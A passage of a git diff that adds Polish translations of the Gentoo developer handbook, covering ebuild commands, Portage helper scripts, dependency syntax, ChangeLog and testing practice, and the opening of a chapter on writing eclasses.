+link="/doc/pl/handbook/handbook-x86.xml?part=2&amp;chap=5">tym</uri>
+dokumencie.
+</note>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Skrypty i narzędzia Portage</title>
+<subsection>
+<title>Skrypty publiczne</title>
+<body>
+
+<p>
+Są to skrypty używane przez administratora systemu do instalacji i deinstalacji
+pakietów, a także przy opiekowaniu się bazą danych pakietów.
+</p>
+
+<p>
+Skrypt <c>ebuild</c> jest głównym "silnikiem" systemu Portage; za jego pomocą
+wykonujemy wszystkie główne zadania, na przykład rozpakowanie, kompilacja,
+instalacja, integracja z systemem i deinstalacja pakietów. Używa się go w
+następujący sposób: <c>ebuild ścieżka/do/pakiet.ebuild komenda</c>. Oto
+dostępne polecenia:
+</p>
+
+<table>
+<tr>
+  <th>Polecenie</th>
+  <th>Opis</th>
+  <th>Spokrewniona funkcja ze skryptów <c>ebuild</c></th>
+</tr>
+<tr>
+  <ti><c>setup</c>*</ti>
+  <ti>
+    Wykonuje różnorakie komendy, których uruchomienie wymagane jest zanim
+    rozpocznie się właściwe budowanie.
+  </ti>
+  <ti><c>pkg_setup</c></ti>
+</tr>
+<tr>
+  <ti><c>depend</c></ti>
+  <ti>Wyświetla zależności niezbędne do zbudowania pakietu.</ti>
+  <ti>Nie dotyczy</ti>
+</tr>
+<tr>
+  <ti><c>merge</c>*</ti>
+  <ti>
+    Rozpakowuje, kompiluje, instaluje i integruje pakiet z systemem plików.
+  </ti>
+  <ti>Nie dotyczy</ti>
+</tr>
+<tr>
+  <ti><c>qmerge</c>*</ti>
+  <ti>
+    Integruje pakiet z systemem plików, zakładając, że etapy rozpakowania,
+    kompilacji i instalacji już zostały wykonane.
+  </ti>
+  <ti>Nie dotyczy</ti>
+</tr>
+<tr>
+  <ti><c>unpack</c>*</ti>
+  <ti>
+    Rozpakowuje archiwa z kodem źródłowym w katalogu roboczym.
+  </ti>
+  <ti><c>src_unpack</c></ti>
+</tr>
+<tr>
+  <ti><c>compile</c>*</ti>
+  <ti>Kompiluje pakiet.</ti>
+  <ti><c>src_compile</c></ti>
+</tr>
+<tr>
+  <ti><c>rpm</c></ti>
+  <ti>Tworzy RPM z pakietu.</ti>
+  <ti>Nie dotyczy</ti>
+</tr>
+<tr>
+  <ti><c>package</c></ti>
+  <ti>Tworzy pakiet Gentoo w formacie <c>tbz2</c>.</ti>
+  <ti>Nie dotyczy</ti>
+</tr>
+<tr>
+  <ti><c>prerm</c>*</ti>
+  <ti>Wykonuje etap przed usunięciem pakietu.</ti>
+  <ti><c>pkg_prerm</c></ti>
+</tr>
+<tr>
+  <ti><c>postrm</c>*</ti>
+  <ti>Wykonuje etap po usunięciu pakietu.</ti>
+  <ti><c>pkg_postrm</c></ti>
+</tr>
+<tr>
+  <ti><c>preinst</c>*</ti>
+  <ti>Wykonuje etap przed zainstalowaniem pakietu.</ti>
+  <ti><c>pkg_preinst</c></ti>
+</tr>
+<tr>
+  <ti><c>postinst</c>*</ti>
+  <ti>Wykonuje etap po zainstalowaniu pakietu.</ti>
+  <ti><c>pkg_postinst</c></ti>
+</tr>
+<tr>
+  <ti><c>config</c></ti>
+  <ti>
+    Przygotowuje domyślną konfigurację gdy pakiet został zainstalowana w
+    systemie plików.
+  </ti>
+  <ti><c>pkg_config</c></ti>
+</tr>
+<tr>
+  <ti><c>touch</c>*</ti>
+  <ti>Uaktualnia czasy modyfikacji każdego archiwum źródłowego pakietu.</ti>
+  <ti>Nie dotyczy</ti>
+</tr>
+<tr>
+  <ti><c>clean</c>*</ti>
+  <ti>Czyści katalog roboczy pakietu.</ti>
+  <ti>Nie dotyczy</ti>
+</tr>
+<tr>
+  <ti><c>fetch</c>*</ti>
+  <ti>Pobiera pliki ze źródłami pakietu.</ti>
+  <ti>Nie dotyczy</ti>
+</tr>
+<tr>
+  <ti><c>digest</c>*</ti>
+  <ti>Tworzy plik digest pakietu.</ti>
+  <ti>Nie dotyczy</ti>
+</tr>
+<tr>
+  <ti><c>test</c>*</ti>
+  <ti>Uruchamia funkcję autotestu pakietu.</ti>
+  <ti><c>src_test</c></ti>
+</tr>
+<tr>
+  <ti><c>install</c>*</ti>
+  <ti>Instaluje pakiet w katalogu obrazu.</ti>
+  <ti><c>src_install</c></ti>
+</tr>
+<tr>
+  <ti><c>unmerge</c></ti>
+  <ti>Usuwa pakiet z systemu plików.</ti>
+  <ti>Nie dotyczy</ti>
+</tr>
+</table>
+
+<note>
+Komendy oznaczone gwiazdką (*) zwykle używane są tylko przez deweloperów.
+</note>
+
+<p>
+Narzędzie <c>emerge</c> rekursywnie instaluje pakiet i wszystkie jej zależności
+w systemie plików. Komenda ta ma wiele opcji, których listę możemy zobaczyć,
+wydając polecenie <c>emerge --help</c>.
+</p>
+
+<p>
+Narzędzie <c>env-update</c> uaktualnia pliki konfiguracyjne (w tym
+<path>/etc/ld.so.conf</path> i <path>/etc/profile.env</path>), aby uwzględniały
+zmiany wprowadzone przez zainstalowane pakiety.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Prywatne skrypty i komendy</title>
+<body>
+
+<p>
+Skryptów tych możemy użyć w naszych skryptach ebuild do wykonywania typowych
+zadań.
+</p>
+
+<p>
+Jeśli ktoś lubi grzebać w kodzie, może przyjrzeć się poniższym skryptom,
+zaglądając do katalogu <path>/usr/lib/portage/bin</path>.
+</p>
+
+<table>
+<tr>
+  <th>Komenda</th>
+  <th>Wartość domyślna</th>
+  <th>Opis</th>
+  <th>Przykład</th>
+</tr>
+<tr>
+  <ti><c>diropts</c></ti>
+  <ti>-m0755</ti>
+  <ti>Ustawia opcje gdy uruchamiamy skrypt <c>dodir</c>.</ti>
+  <ti><c>diropts -m0750</c></ti>
+</tr>
+<tr>
+  <ti><c>dobin</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>Instaluje podane pliki binarne w katalogu <path>DESTTREE/bin</path>.</ti>
+  <ti><c>dobin wmacpi</c></ti>
+</tr>
+<tr>
+  <ti><c>docinto</c></ti>
+  <ti><path>""</path></ti>
+  <ti>
+Ustawia względny katalog (DOCDESTTREE) wykorzystywany przez funkcję
+<c>dodoc</c>.
+  </ti>
+  <ti><c>docinto examples</c></ti>
+</tr>
+<tr>
+  <ti><c>dodir</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>Tworzy katalog, automatycznie uwzględniając katalog ${D}.</ti>
+  <ti><c>dodir /usr/lib/newpackage</c></ti>
+</tr>
+<tr>
+  <ti><c>dodoc</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Instaluje podane pliki w katalogu z dokumentacją pakietu
+    (<path>/usr/share/doc/${PF}/DOCDESTTREE</path>)  (zob. <c>docinto</c>)
+  </ti>
+  <ti><c>dodoc README *.txt</c></ti>
+</tr>
+<tr>
+  <ti><c>doexe</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Instaluje podane pliki z uprawnieniami <e>EXEOPTIONS</e> (zob.
+    <c>exeopts</c>) w katalogu <path>PATH</path> (zob. <c>exeinto</c>).
+  </ti>
+  <ti><c>doexe ${FILESDIR}/quake3</c></ti>
+</tr>
+<tr>
+  <ti><c>dohard</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>Tworzy dowiązanie twarde, automatycznie uwzględniając katalog ${D}.</ti>
+  <ti><c>dohard ls /bin/dir</c></ti>
+</tr>
+<tr>
+  <ti><c>dohtml</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Instaluje podane pliki i katalogi w katalogu
+    <path>/usr/share/doc/${PF}/html</path>.
+  </ti>
+  <ti><c>dohtml -r doc/html/*</c></ti>
+</tr>
+<tr>
+  <ti><c>doinfo</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Instaluje podane pliki w katalogu /usr/share/info, a następnie kompresuje
+    je programem gzip.
+  </ti>
+  <ti><c>doinfo doc/*.info</c></ti>
+</tr>
+<tr>
+  <ti><c>doins</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Instaluje podane pliki z uprawnieniami <c>INSOPTIONS</c> (zob.
+    <c>insopts</c>) w katalogu <path>INSDESTTREE</path> (zob. <c>insinto</c>).
+  </ti>
+  <ti><c>doins *.png icon.xpm</c></ti>
+</tr>
+<tr>
+  <ti><c>dolib</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Instaluje podane biblioteki w katalogu <path>DESTTREE/lib</path> z
+    uprawnieniami 0644.
+  </ti>
+  <ti><c>dolib *.a *.so</c></ti>
+</tr>
+<tr>
+  <ti><c>dolib.a</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Instaluje podane biblioteki w katalogu <path>DESTTREE/lib</path> z
+    uprawnieniami 0644.
+  </ti>
+  <ti><c>dolib.a *.a</c></ti>
+</tr>
+<tr>
+  <ti><c>dolib.so</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Instaluje podane biblioteki w katalogu <path>DESTTREE/lib</path> z
+    uprawnieniami 0644.
+  </ti>
+  <ti><c>dolib.so *.so</c></ti>
+</tr>
+<tr>
+  <ti><c>doman</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Instaluje podane pliki w katalogu <path>/usr/share/man/manX</path> na
+    podstawie przyrostka nazwy pliku (plik.1 zostanie zainstalowany w katalogu
+    <path>man1</path>).
+  </ti>
+  <ti><c>doman *.1 *.5</c></ti>
+</tr>
+<tr>
+  <ti><c>dosbin</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Instaluje pliki w katalogu <path>DESTTREE/sbin</path>, upewniając się, że
+    uprawnienia zezwalają na ich wykonywanie.
+  </ti>
+  <ti><c>dosbin ksymoops</c></ti>
+</tr>
+<tr>
+  <ti><c>dosym</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Tworzy dowiązanie symboliczne, automatycznie uwzględniając katalog
+    ${D}.
+  </ti>
+  <ti><c>dosym gzip /bin/zcat</c></ti>
+</tr>
+<tr>
+  <ti><c>emake</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Uruchamia make z argumentami <c>MAKEOPTS</c>. Niektórych pakietów nie można
+    kompilować równolegle; wówczas powinniśmy użyć <c>emake -j1</c>. Jeśli
+    musimy przekazać jeszcze dodatkowe parametry do make, wystarczy przekazać je
+    do polecenia emake jako parametry. Użytkownicy mogą ustawić zmienną
+    środowiskową <c>EXTRA_EMAKE</c>, aby przekazywać dodatkowe flagi poleceniu
+    emake.
+  </ti>
+  <ti><c>emake</c></ti>
+</tr>
+<tr>
+  <ti><c>exeinto</c></ti>
+  <ti><path>/</path></ti>
+  <ti>Ustawia katalog główny (<e>EXEDESTTREE</e>) dla polecenia
+  <c>doexe</c>.</ti>
+  <ti><c>exeinto /usr/lib/${PN}</c></ti>
+</tr>
+<tr>
+  <ti><c>exeopts</c></ti>
+  <ti>-m0755</ti>
+  <ti>Ustawia opcje do uruchomienia polecenia <c>doexe</c>.</ti>
+  <ti><c>exeopts -m1770</c></ti>
+</tr>
+<tr>
+  <ti><c>fowners</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Nadaje podanemu plikowi podanego właściciela poprzez komendę chown,
+    automatycznie uwzględniając katalog ${D}.
+  </ti>
+  <ti><c>fowners root:root /sbin/functions.sh</c></ti>
+</tr>
+<tr>
+  <ti><c>fperms</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Nadaje podanemu plikowi podane uprawnienia poprzez komendę chmod,
+    automatycznie uwzględniając katalog ${D}.
+  </ti>
+  <ti><c>fperms 700 /var/consoles</c></ti>
+</tr>
+<tr>
+  <ti><c>insinto</c></ti>
+  <ti><path>/usr</path></ti>
+  <ti>
+    Ustawia katalog główny (<e>INSDESTTREE</e>) dla polecenia
+    <c>doins</c>.
+  </ti>
+  <ti><c>insinto /usr/include</c></ti>
+</tr>
+<tr>
+  <ti><c>insopts</c></ti>
+  <ti>-m0644</ti>
+  <ti>Ustawia opcje do uruchomienia polecenia <c>doins</c>.</ti>
+  <ti><c>insopts -m0444</c></ti>
+</tr>
+<tr>
+  <ti><c>into</c></ti>
+  <ti><path>/usr</path></ti>
+  <ti>
+    Ustawia katalog docelowy (<path>DESTTREE</path>) dla wszystkich poleceń
+    zaczynających się od 'do' (czyli <c>dobin</c>, <c>dolib</c>, <c>dolib.a</c>,
+    <c>dolib.so</c>, <c>domo</c>, <c>dosbin</c>).
+  </ti>
+  <ti><c>into /</c></ti>
+</tr>
+<tr>
+  <ti><c>libopts</c></ti>
+  <ti>-m0644</ti>
+  <ti>Ustawia opcje do uruchomienia polecenia <c>dolib</c>.</ti>
+  <ti><c>libopts -m0555</c></ti>
+</tr>
+<tr>
+  <ti><c>newbin</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Interfejs do polecenia <c>dobin</c>, instalujący podany plik binarny,
+    automatycznie zmieniając jego nazwę na tę podaną w drugim argumencie.
+  </ti>
+  <ti><c>newbin ${FILESDIR}/vmware.sh vmware</c></ti>
+</tr>
+<tr>
+  <ti><c>newdoc</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Interfejs do polecenia <c>dodoc</c>, instalujący podany plik, automatycznie
+    zmieniając jego nazwę na tę podaną w drugim argumencie.
+  </ti>
+  <ti><c>newdoc README README.opengl</c></ti>
+</tr>
+<tr>
+  <ti><c>newexe</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Interfejs do polecenia <c>doexe</c>, instalujący podany plik, automatycznie
+    zmieniając jego nazwę na tę podaną w drugim argumencie.
+  </ti>
+  <ti><c>newexe ${FILESDIR}/xinetd.rc xinetd</c></ti>
+</tr>
+<tr>
+  <ti><c>newins</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Interfejs do polecenia <c>doins</c>, instalujący podany plik, automatycznie
+    zmieniając jego nazwę na tę podaną w drugim argumencie.
+  </ti>
+  <ti><c>newins ntp.conf.example ntp.conf</c></ti>
+</tr>
+<tr>
+  <ti><c>newman</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Interfejs do polecenia <c>doman</c>, instalujący podany plik, automatycznie
+    zmieniając jego nazwę na tę podaną w drugim argumencie.
+  </ti>
+  <ti><c>newman xboing.man xboing.6</c></ti>
+</tr>
+<tr>
+  <ti><c>newsbin</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Interfejs do polecenia <c>dosbin</c>, instalujący podany plik, automatycznie
+    zmieniając jego nazwę na tę podaną w drugim argumencie.
+  </ti>
+  <ti><c>newsbin strings strings-static</c></ti>
+</tr>
+<tr>
+  <ti><c>prepall</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Uruchamia komendy <c>prepallman</c>, <c>prepallinfo</c>
+    i <c>prepallstrip</c>. Upewnia się także, że uprawnienia wszystkich
+    bibliotek w katalogach <path>/opt/*/lib</path>, <path>/lib</path>,
+    <path>/usr/lib</path> i <path>/usr/X11R6/lib</path> pozwalają na ich
+    wykonywanie. Dodatkowo przemieszcza wszelkie zbłąkane makra aclocal do
+    katalogu <path>/usr/share/aclocal</path>.
+  </ti>
+  <ti><c>prepall</c></ti>
+</tr>
+<tr>
+  <ti><c>prepalldocs</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+  Zachowanie zostało zmienione pomiędzy wersjami Portage, w związku z czym nowe
+  ebuildy nie powinny korzystać z tej funkcji.
+  </ti>
+  <ti><c>prepalldocs</c></ti>
+</tr>
+<tr>
+  <ti><c>prepallinfo</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>Rekursywnie kompresuje wszystkie pliki dokumentacji info w katalogu
+  <path>/usr/share/info</path>.</ti>
+  <ti><c>prepallinfo</c></ti>
+</tr>
+<tr>
+  <ti><c>prepallman</c></ti>
+  <ti>Nie dotyczy</ti>
+  <ti>
+    Rekursywnie kompresuje wszystkie pliki dokumentacji man w katalogach
+    <path>/opt/*/man/*</path>, <path>/usr/share/man/*</path>,
+    <path>/usr/local/man/*</path>, <path>/usr/X11R6/share/man/*</path>,
+    automatycznie poprawiając wszelkie dowiązania symboliczne.
+  </ti>
+  <ti><c>prepallman</c></ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Zależności pakietu</title>
+<subsection>
+<title>Dlaczego zależności są ważne</title>
+<body>
+
+<p>
+Portage to coś więcej niż wygodny skrypt pozwalający w ujednolicony sposób
+budować oprogramowanie (program, bibliotekę) ze źródeł. Potrafi on także pobrać
+i zainstalować wszelkie potrzebne zależności, jeśli tylko podamy je w naszym
+skrypcie ebuild.
+</p>
+
+<p>
+W oficjalnych ebuildach wszystkie zależności zostały już określone, więc gdy
+wydamy komendę <c>emerge net-www/mozilla</c>, Portage dopilnuje by wszystkie
+zależności niezbędne do zbudowania i uruchomienia Mozilli zostały zainstalowane
+zanim zacznie kompilować samą Mozillę.
+</p>
+
+<p>
+Portage rozróżnia nawet między zależnościami potrzebnymi do zbudowania i do
+uruchomienia (Niestety, w tej chwili Portage jedynie instaluje wszystkie
+zależności potrzebne do budowania i uruchomienia. W przyszłości jednak będzie
+możliwe automatyczne odchudzenie systemu, aby pozostały w nim tylko zależności
+potrzebne do uruchamiania programów.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>
+Jak definiować zależności w naszych skryptach ebuild (czyli atomy DEPEND)
+</title>
+<body>
+
+<p>
+Zmienna <c>DEPEND</c> w naszym pliku <path>bla-x.y.z.ebuild</path> mówi Portage
+jakie pakiety są potrzebne, aby zbudować program <path>bla</path>. Zmienna
+<c>RDEPEND</c> określa zaś jakie pakiety są potrzebne, aby uruchomić
+<path>bla</path>. Zmienna <c>RDEPEND</c> powinna być ustawiona jawnie, nawet
+jeśli jej wartość jest taka sama jak w przypadku <c>DEPEND</c>, ponieważ w
+przyszłości zmiennej <c>RDEPEND</c> nie będzie domyślnie przypisywana wartość
+<c>DEPEND</c>, w przypadku braku zdefiniowania tej pierwszej.
+</p>
+
+<pre caption="Przykład zależności">
+DEPEND="virtual/opengl
+     dev-libs/libxml2"
+RDEPEND="${DEPEND}"
+</pre>
+
+<p>
+Ten przykład informuje Portage o fakcie, że aby zbudować pakiet
+<path>bla-x.y.z</path> potrzebne będą pakiety <path>virtual/opengl</path>
+(więcej o kategoriach wirtualnych wkrótce) i <path>dev-libs/libxml2</path>. Nie
+jest podane jakie wersje opengl i libxml2 są potrzebne, co oznacza, że dobre
+będą wszystkie.
+</p>
+
+<p>
+Rzecz jasna, "dobre będą wszystkie" w większości wypadków nie wystarczy.
+Jedynie w przypadku głównych bibliotek jest to wystarczające, ponieważ jego
+autorzy bardzo się starają, aby był on zawsze w stu procentach binarnie
+kompatybilny. W przypadku innych bibliotek możemy oczywiście podać wersje
+zależności.
+</p>
+
+<pre caption="Przykład wersji">
+&gt;=sys-apps/bar-1.2
+=sys-apps/baz-1.0
+</pre>
+
+<p>
+Znaki &gt;= i = oznaczają to, czego możemy się po nich spodziewać; wersja 1.2
+lub nowsza programu sys-apps/bar będzie się nadawać (oznacza to, że również
+wersja 2.0 sys-apps/bar też będzie odpowiednia), zaś wersja 1.0 programu
+sys-apps/baz będzie jedyną odpowiednią. Więcej informacji na temat wzorca wersji
+pakietów można znaleźć wyżej w rozdziale <uri
+link="#doc_chap2_sect2">Nazewnictwo plików ebuild</uri>.
+</p>
+
+<p>
+Oto inne sposoby na podawanie wersji zależności:
+</p>
+
+<pre caption="Podawanie wersji zależności">
+~sys-apps/qux-1.0
+=sys-apps/bla-1.2*
+!sys-libs/gdbm
+</pre>
+
+<p>
+~sys-apps/qux-1.0 wybierze najnowszą rewizję programu qux-1.0 w Portage.
+</p>
+
+<p>
+=sys-apps/bla-1.2* wybierze najnowsze wersje spośród gałęzi 1.2, ale zignoruje
+1.3 i wcześniejsze/późniejsze gałęzie. Tak więc bla-1.2.3 i bla-1.2.0 będą
+odpowiednie, zaś bla-1.3.3, bla-1.3.0 i bla-1.1.0 już nie. Warto zauważyć, że
+bla-1.22.3 też pasuje do wzorca, co czasami może spowodować problemy.
+</p>
+
+<p>
+!sys-libs/gdbm uniemożliwi instalację tego pakietu jeśli gdbm jest
+zainstalowane.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Ważne uwagi</title>
+<body>
+
+<p>
+Przy konfiguracji zmiennych DEPEND i RDEPEND można popełnić wiele błędów. Oto
+kilka porad, dzięki którym możemy ich uniknąć.
+</p>
+
+<ul>
+  <li>
+    <e>Zawsze należy podać kategorię.</e><br />
+    Na przykład powinniśmy napisać <c>&gt;=x11-libs/gtk+-2</c> zamiast tylko
+    <c>&gt;=gtk+-2</c>.
+  </li>
+  <li>
+    <e>Nie powinniśmy stawiać znaku gwiazdki (*) przy zależnościach typu
+    &gt;=.</e><br />
+    Prawidłowo powinniśmy napisać <c>&gt;=x11-libs/gtk+-2</c> zamiast
+    <c>&gt;=x11-libs/gtk+-2*</c>.
+  </li>
+  <li>
+    <e>Nie wolno definiować meta-pakietu jako zależności.</e><br />
+    Nie powinniśmy więc określić zależności od gnome-base/gnome, zamiast tego
+    używamy konkretnej biblioteki, na przykład libgnome.
+  </li>
+  <li>
+    <e>Podajemy jedną zależność na linię.</e><br />
+    Definiowanie więcej niż jednej zależności w jednej linii sprawia, że kod
+    jest brzydki i trudny do zrozumienia.
+  </li>
+  <li>
+    <e>GTK: Zawsze należy użyć zależności =x11-libs/gtk+-1.2* przy aplikacjach
+    GTK+1.</e>
+  </li>
+</ul>
+
+<p>
+Ponadto powinniśmy się upewnić, że podaliśmy wszystkie zależności naszego
+pakietu:
+</p>
+
+<ul>
+  <li>
+    <e>Zajrzyjmy do plików configure.in lub configure.ac</e><br />
+    Poszukajmy w nich sprawdzania obecności pakietów. Warto zwrócić uwagę na
+    sprawdzenia pkg-config lub funkcje AM_*, które szukają konkretnej wersji.
+  </li>
+  <li>
+    <e>Możemy przyjrzeć się dołączonym plikom .spec</e><br />
+    Zwykle dołączone pliki .spec mogą być źródłem informacji o zależnościach.
+    Nie należy jednak traktować ich jako jedynego źródła.
+  </li>
+  <li>
+    <e>Poszukajmy strony internetowej aplikacji/biblioteki</e><br />
+    Autor często sugeruje na oficjalnej stronie jakich zależności wymaga jego
+    program.
+  </li>
+  <li>
+    <e>Warto przeczytać pliki README i INSTALL dołączone do pakietu</e><br />
+    Zwykle zawierają one informacje przydatne przy budowaniu i instalowaniu
+    pakietów.
+  </li>
+  <li>
+    <e>Należy pamiętać o zależnościach innych niż binarne, takie jak pkg-config,
+    programy do generowania dokumentacji, itd.</e><br />
+    Proces budowania zwykle wymaga zależności takich jak intltool, libtool,
+    pkg-config, doxygen, scrollkeeper, gtk-doc itp. Upewnijmy się, że zostały
+    one podane.
+  </li>
+</ul>
+
+<p>
+Aby zapoznać się z najnowszymi informacjami o atomach DEPEND, należy przeczytać
+5 sekcję dokumentacji systemowej man: <c>man 5 ebuild</c>.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Testowanie i wdrożenie</title>
+<subsection>
+<title>Plik ChangeLog</title>
+<body>
+
+<p>
+Za każdym razem gdy uaktualniamy (lub piszemy nowy) skrypt ebuild, musimy także
+uaktualnić (lub utworzyć) jego Changelog. Plik <path>skel.ChangeLog</path>
+zawiera przykładową treść i może zostać potraktowany jako wzór.
+</p>
+
+<p>
+Funkcją pliku Changelog jest udokumentowanie <e>co</e> zostało zrobione,
+<e>czemu</e> zostało to zrobione i <e>kto</e> tego dokonał. Dzięki temu zarówno
+deweloperzy jak i użytkownicy mogą w łatwy sposób prześledzić zmiany.
+</p>
+
+<p>
+Changelog jest głównie przeznaczony dla użytkowników, należy więc pisać krótko,
+na temat i unikać zbędnych technicznych szczegółów.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Przechowywanie plików ebuild lokalnie</title>
+<body>
+
+<p>
+Aby możliwe było testowanie skryptów ebuild oraz poinformowanie Portage o ich
+istnieniu, musimy umieścić je w określonym katalogu. Portage używa w tym celu
+zmiennej <c>PORTDIR_OVERLAY</c>, definiowanej przez użytkownika w pliku
+<path>/etc/make.conf</path>. Powinniśmy użyć tej zmiennej aby podać katalog, w
+którym będziemy trzymać nasze ebuildy (może to być na przykład
+<path>/usr/local/portage</path>).
+</p>
+
+<p>
+W katalogu tym należy używać tej samej struktury (i tych samych kategorii) co w
+katalogu <path>/usr/portage</path>.
+</p>
+
+<p>
+Gdy używamy <c>PORTDIR_OVERLAY</c> nasze ebuildy pozostaną w systemie i będą
+wciąż rozpoznawane przez Portage nawet gdy wykonamy polecenie
+<c>emerge sync</c>.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Testowanie pakietów</title>
+<body>
+
+<p>
+Zastanówmy się w jaki sposób przetestować czy nasz pakiet działa. Czasem
+deweloperzy od razu dołączyli polecenia <c>make test</c> lub <c>make check</c>,
+które sprawdzą podstawowe funkcje pakietu. Jeśli tak, to uruchomienie <c>env
+FEATURES=test ebuild <path>bla-x.y.z.ebuild</path> test</c> wykona je.
+Jeśli polecenia te nie działają poprawnie, spróbujmy je naprawić (i wysłać
+łatki autorom programu).
+</p>
+
+<p>
+Jeśli takich poleceń nie ma, należy rozważyć dodanie funkcji <c>src_test</c>  do
+naszego skryptu ebuild. Jest ona wykonywana przed funkcją <c>src_install</c> i
+może być bardzo pomocna przy testowaniu działania programu na różnych
+architekturach. Deweloperzy innych architektur będą nam wdzięczni jeśli dodamy
+tę funkcję, dzięki czemu nie będą musieli zagłębiać się w funkcjonowanie
+pakietu.
+</p>
+
+<p>
+Należy jednak pamiętać o ogólnej zasadzie działania plików ebuild. Funkcja
+<c>src_test</c> nie może być interaktywna. Jeśli wymaga ona innych pakietów,
+należy użyć flagi USE <c>test</c> w celu podania dodatkowych zależności
+kompilacji w zmiennej <c>DEPEND</c>. Weźmy też pod uwagę, że funkcje
+<c>src_test</c> nie są zalecane przy graficznych aplikacjach korzystających z X,
+ponieważ użytkownik korzystający z Portage niekoniecznie będzie miał możliwość
+uruchomienia ich.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Przydatne narzędzia testujące</title>
+<body>
+
+<p>
+Istnieje kilka przydatnych narzędzi, które pomogą nam w pisaniu i opiekowaniu
+się naszymi ebuildami.
+</p>
+
+<table>
+<tr>
+  <th>Narzędzie</th>
+  <th>Pakiet</th>
+  <th>Opis</th>
+</tr>
+<tr>
+  <ti><c>repoman</c></ti>
+  <ti>sys-apps/portage</ti>
+  <ti>
+    Narzędzie tylko dla deweloperów, wspomagające funkcję checkin z CVS.
+    Wykonuje ona wiele typowych zadań QA (zapewniania jakości) i upewnia się, że
+    dodawane do CVS pliki nie uszkodzą drzewa Portage.
+  </ti>
+</tr>
+<tr>
+  <ti><c>ccache</c></ti>
+  <ti>dev-util/ccache</ti>
+  <ti>
+    Narzędzie to zachowuje przetworzone pliki robocze, aby <e>znacznie</e>
+    przyspieszyć kompilację. Pamiętajmy, aby dodać <c>ccache</c> do zmiennej
+    <c>FEATURES</c> w pliku <path>/etc/make.conf</path>!
+  </ti>
+</tr>
+<tr>
+  <ti><c>sandboxshell</c></ti>
+  <ti>app-shells/sandboxshell</ti>
+  <ti>
+    Uruchamia powłokę, która tworzy środowisko sandbox. Przydatne jeśli chcemy
+    dostać się do tego samego środowiska, w którym Portage buduje pakiety, a
+    także jeśli chcemy coś ręcznie debugować.
+  </ti>
+</tr>
+<tr>
+  <ti><c>echangelog</c></ti>
+  <ti>app-portage/gentoolkit-dev</ti>
+  <ti>
+    Może utworzyć nowy plik Changelog lub dodać wpis do już istniejącego pliku.
+  </ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/devrel/handbook/hb-guide-eclass.xml b/xml/htdocs/proj/pl/devrel/handbook/hb-guide-eclass.xml
new file mode 100644
index 00000000..8c18d317
--- /dev/null
+++ b/xml/htdocs/proj/pl/devrel/handbook/hb-guide-eclass.xml
@@ -0,0 +1,1077 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/devrel/handbook/hb-guide-eclass.xml,v 1.3 2009/02/16 19:50:23 rane Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<sections>
+<version>1.0.2</version>
+<date>2006-02-02</date>
+
+<section>
+<title>Wprowadzenie do eklas (plików .eclass)</title>
+
+<subsection>
+<title>Do czego służą eklasy?</title>
+<body>
+
+<p>
+Eklasy (ang. eclass) to moduły, które zawierają współdzielony kod. Są napisane
+w bashu i posiadają tę samą składnię, co zwykłe pliki ebuild. Są odczytywane
+(dziedziczone) przez pliki ebuild i inne eklasy, dostarczając tę samą
+funkcjonalność i domyślne ustawienia w wielu ebuildach.
+</p>
+
+<p>
+Dzięki temu możemy w największym stopniu wykorzystać ponownie kod w podobnych
+plikach ebuild.
+</p>
+
+<p>
+W niniejszym rozdziale w skrócie zademonstruję jak napisać eklasę, wykorzystując
+standardowe techniki z już istniejących eklas. W drugim rozdziale omówimy eklasy
+kde, zaś trzeci ukaże nam jak napisać ebuild KDE, wykorzystując eklasy z grupy
+kde.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Przykład nieskomplikowanej eklasy</title>
+<body>
+
+<p>
+Oto fikcyjna eklasa o nazwie sourceforge.eclass, która ma za zadanie dostarczyć
+informacji o stronie domowej projektów, korzystających z serwisu
+sourceforge.net oraz miejsca, z których można je pobrać:
+</p>
+
+<pre caption = "Przykład: eklasa sourceforge.eclass">
+# Copyright 2009 Gentoo Foundation
